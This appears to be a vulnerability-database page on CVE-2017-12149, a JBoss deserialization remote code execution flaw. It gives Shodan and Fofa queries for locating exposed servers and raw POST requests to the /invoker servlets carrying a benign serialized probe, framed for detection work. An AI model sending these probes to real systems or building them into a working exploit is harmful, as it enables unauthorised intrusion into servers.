🔙 목록으로 돌아가기

CVE-2017-12149: Jboss Application Server - Remote Code Execution

Title	Jboss Application Server - Remote Code Execution
Author	fopina,s0obi
Severity	Critical
Impact	Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected server.
Remediation	Apply the latest security patches and updates provided by Jboss to fix this vulnerability.
CVSS Score	9.8
EPSS Score	0.94294
CVE ID	CVE-2017-12149
CWE ID	CWE-502
Shodan Query	http.title:"jboss"cpe:"cpe:2.3:a:redhat:jboss_enterprise_application_platform"
Fofa Query	title="jboss"
Tags	cve2017 cve java rce deserialization kev vulhub jboss intrusive redhat vkev vuln

🔍 Vulnerability Description

Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2 is susceptible to a remote code execution vulnerability because the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization, thus allowing an attacker to execute arbitrary code via crafted serialized data.

🌐 HTTP Request

POST /invoker/JMXInvokerServlet/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 82
Content-Type: application/octet-stream
Accept-Encoding: gzip

��srjava.util.ArrayListx����a�Isizexpwt	element 1t	element 2x

POST /invoker/EJBInvokerServlet/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 82
Content-Type: application/octet-stream
Accept-Encoding: gzip

��srjava.util.ArrayListx����a�Isizexpwt	element 1t	element 2x

POST /invoker/readonly HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Content-Length: 82
Content-Type: application/octet-stream
Accept-Encoding: gzip

��srjava.util.ArrayListx����a�Isizexpwt	element 1t	element 2x

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-12149.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-12149.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A